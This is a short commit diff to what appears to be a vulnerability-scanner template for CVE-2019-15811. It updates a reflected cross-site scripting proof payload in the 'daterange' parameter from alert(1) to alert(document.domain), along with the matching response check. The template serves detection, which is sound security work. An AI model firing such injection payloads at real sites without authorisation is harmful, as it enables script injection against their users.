Update CVE-2019-15811.yaml

patch-1
Ritik Chaddha 2022-07-16 13:33:08 +05:30 committed by GitHub
parent 5f8e1055e1
commit 28b8f09964
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions

View File

@ -28,7 +28,7 @@ requests:
new_username={{username}}&new_password={{password}}
- |
GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(1)%22autofocus=%22 HTTP/1.1
GET /reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(document.domain)%22autofocus=%22 HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
@ -40,5 +40,5 @@ requests:
dsl:
- 'status_code_2 == 200'
- 'contains(all_headers_2, "text/html")'
- 'contains(body_2, "value=\"\"onfocus=\"alert(1)\"autofocus=")'
- 'contains(body_2, "value=\"\"onfocus=\"alert(document.domain)\"autofocus=")'
condition: and